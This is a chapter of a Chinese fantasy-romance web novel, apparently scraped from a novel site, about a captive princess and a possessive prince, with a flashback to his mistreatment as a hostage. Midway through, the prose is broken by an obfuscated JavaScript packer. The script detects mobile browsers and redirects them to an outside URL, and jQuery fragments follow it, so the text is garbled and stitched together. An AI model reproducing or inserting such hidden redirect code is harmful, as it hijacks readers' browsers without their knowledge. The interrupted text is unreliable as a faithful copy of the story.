万书库 > 玄幻小说 > 笼中困雀 > 6.回忆
    痛,刺骨的,铭心的。


    魏染霜抬起胳膊,白布包裹伤口,她闭上眼,不去看,就能忘记疼痛的伤痕。


    为什么,不看他?云清影好看的眉皱起,他强迫她睁开眼,两人四目相对,魏染霜没有半点解释。沉默是她的反抗,一双不屈的眼,溢出的倔强,无声的震慑,可惜除却娇媚,所剩无几的威慑对他构不成威胁。


    “王爷!您什么时候给公主做木雕呀?”春桃脑子里只有木雕,仿佛这是云清影宠爱魏染霜的证明,拿到木雕,堪比拿到玉玺。


    本应该任由她胡闹的魏染霜,第一次对她如此凶狠,魏染霜回眸看向她的天真,从牙缝里挤出两个字:“出去。”


    春桃如遭雷击,整个人愣在原地。泪水瞬间蓄满眼眶,她不知道自己做错了什么,如果公主不争不抢,那她们全都被踩在脚下了!


    她没有错,她在帮公主争取王爷的爱啊!


    “本公主不说第二次。”魏染霜看着云清影的眼眸,她声音越发冷漠,春桃终究是乖乖往外走。


    魏染霜闭上眼,她重重叹一口气,仿佛要把疲惫都吐出来,全部滚出她的身体。


    “公主因一个木雕,和我的手下争风吃醋?”他嘴角勾起热烈的弧度,鼻尖不停在她脸上轻蹭。提到木雕,云清影忍不住勾起嘴角,他从来没有忍过。整个人仿佛看透魏染霜一般,眼角眉梢尽是得意。


    男人的自以为是,以为自己是块香饽饽,全天下女人都要争着抢着,为他争风吃醋。魏染霜冷哼一声,眼底是不屑,她的反应足以说明,他的宠爱,在她这里什么都不是。


    是毫无作用的废物,是入不了眼的玩具。


    爽朗的笑声充满整个营帐,他在笑,笑得无比开怀。


    在笑什么?笑她跌落泥潭?还是笑她死到临头还在嘴硬?魏染霜勾起嘴角,她不在意,他的笑,是无聊的杂音,是激不起风浪的石子。


    魏染霜松散青丝,她眉眼如画,是诱惑,是吸引。


    “当作给王爷赔罪?”她手里攥紧玉钗,抵住自己的面庞,徐徐道来:“只为王爷不与春桃计较。”


    “你知道的,我要的不是这个。”他的美玉,被弄上划痕,他的心会疼,他要的不是这个。


    魏染霜目光跟随他的手,他的手指轻松,一根根掰开她的手指,玉钗落入地板,发出叮的一声,再也掀不起波澜。


    闭上眼,却迟迟没等来疯狂的吻。


    魏染霜睁开眼,看见他眼底的迟疑,她冷冷地说:“别在这里惺惺作态。”


    “阿霜,别这样说我。”他强硬将人圈进怀里,似乎这样,她就完完全全属于他。


    随他去了,要吻,还是更甚,她都无所谓,她只想活着,护好手下的小婢女们,别无所求。


    蜉蝣,无法与天地抗衡。


    她冰冷,没有半点温情:“王爷这是要做什么?”


    怀中的人如此冰冷,却是实实在在存在的,他不给她留一丝喘息的空间,要将她揉入体内,收紧手臂,他说:“我要与公主叙叙旧。”


    说说八年前的他们。


    艳阳高照,质子们口渴难耐,个个都蹲在地上,身旁站着的是宫里的皇子,真真切切的皇子,与质子截然不同。


    手里的鞭子随意甩动,皇子大口喝着水。


    小太监将云清影从人群中拎出来,将人甩到地上,厌恶地往他身上啐了一口:“真是脏了奴家的手!”


    “看看,看看!”皇子得意地笑着,手中的鞭子还在啪啪作响。


    地面的尘土因鞭子的挥舞而飞起。云清影仰起头,眼底是不甘:“凭什么说是我偷的?”


    日头太烈,质子们为了早些回去歇息,全部都指认云清影。


    黑与白,有什么关系?皇子口中,便是天地之命。无人管你是不是受了委屈,只知道,你必须跪下。


    云清影跪在地上,双手攥成拳。


    异国他乡,只有一个字——忍。


    不知过了多久,太阳渐渐落下,他迷迷糊糊间看见一个人影朝着他奔来,身后乌压压的质子们该倒的早就倒下,却没有被宽恕,只因他不肯开口称自己是狗。


    云清影的不屈,是所有人的罪。


    “皇兄,够了吧?”


    他抬眸,只是一片模糊,却足矣让人心动。少女嗓音微微,是叮咚溪水缓缓流淌,流过他的心田。


    烈日早让他双眸失焦,不知过了多久,他喘息片刻,再次抬眸,魏染霜稚嫩的面庞,是云清影没见过的美丽。目光大胆热烈,他不曾挪开,要将人烙印在眼底,闭上眼,也能画出来她如柳叶的眉。


    “我相信他。”她挡在他的身前,一语毕,不等皇子开口,转移话题道:“父皇今日来国子监了。”


    “什么!?”皇子的注意力被她转移,原来他也会着急,也会无措,没了方才的高高在上,只是一个害怕父亲的孩子。


    看起来无辜的魏染霜扬起淡淡的笑:“皇兄,父皇要抽查你的作业。”


    有闲心来玩弄质子的皇子,怎么可能去写枯燥的作业?他的眉头不由皱起,手里的鞭子握得更紧,眼底的愤怒要发泄到一群质子身上。


    可魏染霜不紧不慢地说:“我自然是帮皇兄写了,皇兄拿去交差罢了。”说着,她从怀里拿出一卷书。


    密密麻麻,全是她的聪明。皇子冷冷看向她,不屑地轻哼一声:“算你们好运。”他走了,质子们的压迫都解除。


    一群质子扑向云清影,拳脚相向,口中念念有词:“你学狗叫会死吗!害得我们陪你受罪!”


    人就是这样,互相怪罪,谁都不肯承认是自己的错。


    他们,只能靠拳头讲话。


    云清影败了,一群又一群的人,数不清的拳头。他一声不吭,捂着头,露出一只琥珀色的眼。就这样望着一旁的魏染霜,觊觎少女明媚的眼眸。


    “你不问到底是不是我偷的。”云清影的手臂再次缩紧,他眷恋地轻嗅她的芳香。


    低头,是他多年前觊觎的面庞,一模一样,没有半分改变。他也不问,到底是为什么,什么都别问,他只要她在身旁,无缘由,凭心走。


    魏染霜侧过头,刚好能瞧见他一只琥珀色的眼,如同八年前,卑鄙无耻,大胆妄为。指尖轻拂他的眉眼,她眼里的涟漪,是他毕生所求。她含笑请求:“我想,见见浮华。”


    动情处,他说:“好。”


    魏染霜如愿见到浮华,玉手轻拂浮华眼底的乌青,她太久没见到浮华了,眼前的人,还要花些时间辨认。浮华的心,被狠狠粉碎,她落下一珠泪,为她的公主,被折磨至此的公主。


    主仆两人泪眼婆娑,抱在一起,泪珠混杂在一起,渐渐相融,分不清你我。


    云清影不喜欢这样的场景,悲伤萦绕在营帐,他心中不是罪孽感,是不满。她为什么要这样悲伤,他对她,已经很好了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553453|204299||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是吗?


    营帐外的空气是清新的,被雨水洗涤后,草原飘荡着阵阵青草香,云清影踏出营帐,整个人暴露在阳光之下。


    他伸出手,握住微光。


    握不住,不属于他的东西,无论飘向何处,都不会看他一眼。


    折返。


    浮华被他赶出去,不管浮华眼底的恐惧,云清影眼底的血丝越发明显,他双手撑在床榻,压低身子,看着她眼底的冷意。


    不由笑出声,他说:“我的,只能是我的。”


    “你言而无信!”她折服于他的厚颜无耻,朝着他胳膊狠狠咬下一口。


    他一声闷哼,笑意更甚,将人捞起,抱入怀中:“你是我的。”


    光,会跑掉。她,绝不会。


    大手握住她细嫩的手腕,他轻声低笑:“好瘦。”


    “多吃点,嗯?”


    魏染霜沉默看着他,就算她不说话,他也能自己与自己聊一宿,有时候她很好奇,他说话到底有没有逻辑。


    “怎么不说话,嗯?”


    魏染霜冷冷一笑,挥了挥手掌:“殿下没挨够?”


    “不够。”他笑起来,像疯子,拉住她的手腕,不断轻拂他的面庞。


    魏染霜巧妙挣脱,她轻挑眉,露出淡淡的微笑。足矣让云清影呆愣住,趁着他分神,她的笑意加深,轻咬住红润的下唇,扬起胳膊。


    啪——


    营帐外的浮华与蓝郁皆是一愣,两人四目相对,似乎已经猜想到里边发生了什么。有一点不同的是,浮华以为魏染霜受了欺负,她想要跑进去,替魏染霜挨上惩罚。


    却被蓝郁拉住。


    浮华跪在地上恳求:“我们公主细皮嫩肉的,没受过这种苦,求您让奴婢进去……”


    “浮华,你别担心。”蓝郁拉住浮华。


    浮华依旧不肯放弃挣扎,她的泪水滴落:“奴婢求您了,公主已经够苦了,她的骄傲不允许她……”


    被蓝郁打断,蓝郁微微皱起眉头:“挨打的是王爷。”


    王爷?浮华怎么可能相信,她一个闪身往里跑,蓝郁本可以拦住,脑海中浮现自己妹妹的惨状,她收回伸出的手。


    随她去了,王爷要如何罚,都与自己无关。


    浮华冲进营帐,清晰可见的是魏染霜满满笑意的脸,与云清影脸上的五指山。浮华急忙捂住脸往外跑。


    云清影目光从未挪开,就算浮华进来,他也没有错过她脸上的笑。是冬日的梅,陡然绽放,无花可比,独一无二的梅。


    亲吻指尖的滑腻,不忘抽出一刻的情,去看她羞红的脸,“还说不愿意?”情到深处,他吻上她的眉心,没有禁锢与挣扎,只有淡淡的一抹深情,他欣喜,她没有躲开。


    回望她冷漠的眼眸,他软下来:“别这样看着我……”


    是小狗乞怜主人的爱惜,可惜,他并不是小狗,她也不是主人,魏染霜不动声色往后退一步,她打量着云清影,显然是没搞明白男人要做什么。


    “阿霜。”


    轻声呼唤,怎么都唤不够,他要得到她的回应。


    魏染霜淡漠,并不关心他内心的所有情绪,她连自己都无法顾及,哪来的闲心理他。


    “王爷有完没完?”一盆冷水浇下。


    云清影却不放手,他疲惫地闭上眼,今日事务繁多,他的片刻安宁,不能得到拒绝。强硬将人安稳在怀中,逼迫她与他共享一刻安宁。